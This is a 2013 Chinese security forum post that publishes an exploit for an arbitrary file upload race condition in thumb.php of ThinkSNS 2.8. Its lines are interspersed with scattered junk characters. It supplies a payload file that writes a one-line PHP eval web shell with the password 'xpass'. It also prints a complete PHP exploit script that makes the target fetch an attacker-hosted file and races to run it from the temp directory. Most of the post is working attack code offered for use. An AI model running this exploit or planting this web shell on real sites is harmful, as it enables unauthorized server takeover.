找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1984|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本
8 ]' B0 e+ l' \$ B% o. X2 |8 K+ W存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
3 p) @9 w1 W0 C5 E漏洞文件
: b2 b, M& ]! t. H/ ]2 T+ O存在漏洞的文件为:thumb.php
* T. u7 f" g7 I/ u/ C  V9 S作者:韦鲲鹏
5 i0 I0 Y# M4 [; t6 e7 `1、        准备如下PHP文件并上传到服务器(自己的)。' }% w. g, m, S8 a* @
文件内容如下:
+ L1 i3 d" i* C) L4 c( d<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
2 G& a8 @0 t* R! ~" B5 A: A+ ]9 t2、        计算出临时的文件名:
" q: @3 x6 w' r2 Q8 z这里我们可以看文件的99行(刚刚是不是没注意呀!)。
. a- Z" Q- T. I& @; n  n
" x$ O" X- q5 p7 `9 p3、        上传临时文件。
$ W6 i- Q7 [# z2 x: k4、        访问临时文件。
% o2 k/ f  k6 B7 x, Z, ~但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
  M! U/ j8 H1 jExploit文件内容如下:(这个我就不详细解释了)
" @3 G0 w. L3 e' a<?php, A- g; m; D# a1 r6 Z
error_reporting(0);2 h# i7 z. O) z: A: g
set_time_limit(0);/ G+ l& \2 M& ~  I
ini_set(“default_socket_timeout”, 5);
0 l' y' H" P* a% b5 \3 r" }1 E( efunction http_send($host, $port, $headers) {
+ U/ _3 j* X3 G* A' S$fp = fsockopen($host, $port);
7 d2 M8 o! Z( T! l1 M) qif (!$fp) die(‘Connection -> fail’);2 _- q0 o; D; R! o3 Z  o! F5 Q
fputs($fp, $headers);0 c/ }+ h' M9 C4 p! ^
return $fp;
" j3 e# D. @+ Z7 S6 U- l}
! J4 P) C4 V3 K) n$ Vfunction http_recv($fp) {
! A$ L4 G* E, y/ L& k7 g$ret=”";
/ i! c' Z; w* a9 x5 l4 Awhile (!feof($fp))
& w. w4 J7 E' Z; H9 ]% z2 o) h$ret.= fgets($fp, 1024);
( M' J# I) ]/ Mfclose($fp);
2 S" o6 x8 k$ v, Z/ \return $ret;) ^2 B7 q8 C3 J( [  ?. g
}
% f' n& Y% \" [6 K0 V8 Q1 Pprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
5 S( s$ j! f. n2 ]1 k) N' Bprint “# Discovered by 韦鲲鹏 #\n\n”;7 P  X# ?' m7 n+ y7 v  ~% O0 g" J2 [
if ($argc < 4) {
, x" P6 _# A2 z* l1 wprint “Usage:   php <host> <path> <romote_url>\n”;
% @9 {$ z1 ^9 o; f5 Pprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
1 @$ {& ~# L4 i1 |& L5 Z) cdie();5 N8 ?0 M! C' H/ j8 v  u: c* i
}! n+ r+ O, D, s/ b/ l6 e) [3 x& K
$host = $argv[1];
' N) ^/ U% e# Q* p5 A$path = $argv[2];
/ C7 ?0 y4 O9 e9 t$url = $argv[3];$ Z+ r8 [& A! Z2 ^  s+ _0 p8 f
$i=0;: Z7 ?: i! P3 a% J# u* c
//上传数据包6 O  W% s/ {$ a, I, W! s' }4 E1 s) v( \
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;9 T( }2 A% O/ A# C# [" r! t
$headers_up .= “Host: “.$host.”\r\n”;
# @$ u! l: V5 j. D. n! N/ H0 p$headers_up .= “Connection: close\r\n\r\n”;
% ^/ R& l7 o& V( pecho $headers_up;
  G: w4 }" D" s1 P. K//临时文件访问数据包
# O: v1 O% M/ u: ]$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
/ Z/ z) j" T, A! Y$ [& q! Z1 T$headers .= “Host: “.$host.”\r\n”;
5 T0 F1 b6 P+ T9 }( @& h/ F$headers .= “Connection: close\r\n\r\n”;
0 f  j6 p. ?  \* C6 m1 M. Lecho $headers;2 |- f8 h' a- S" J& o5 l5 ~
while(++$i<10) {8 u& Q' ]. }" b. z
fclose(http_send($host, 80, $headers));
1 |4 q9 S" U4 q# \6 _}; z: {/ a9 C5 H5 V3 c- K
fclose(http_send($host, 80, $headers_up));% j* u, b/ }1 l( c7 N
while(++$i<50) {$ w; \" b1 ~' b5 J! Q% a" v
fclose(http_send($host, 80, $headers));
( D1 Z3 V; T- a' o* N) W}
4 N6 |" F/ d0 y, g; M! \" z4 L# E$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;% c) p3 [0 K# Q, |* v5 |( y! c
$headers .= “Host: “.$host.”\r\n”;
6 h% s' A4 C9 C$headers .= “Connection: close\r\n\r\n”;
) Q+ v1 x& j$ j6 o- v* A$res=http_recv(http_send($host, 80, $headers));% Q8 |* v" x# h; \8 j: B( U8 h# c
if(preg_match(‘/200 OK/’,$res)) {
9 \4 M2 Q# a8 L% [print “Success!\n\n”;
5 c2 A/ ?, V# y. Z) w: m8 G& x} else {) e" F6 z+ {' \
print “Fail!\n\n”;
8 t) z8 J" j) B}: K, i0 B/ T8 Z+ z4 b% n
?>/ s. @5 l$ p+ o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表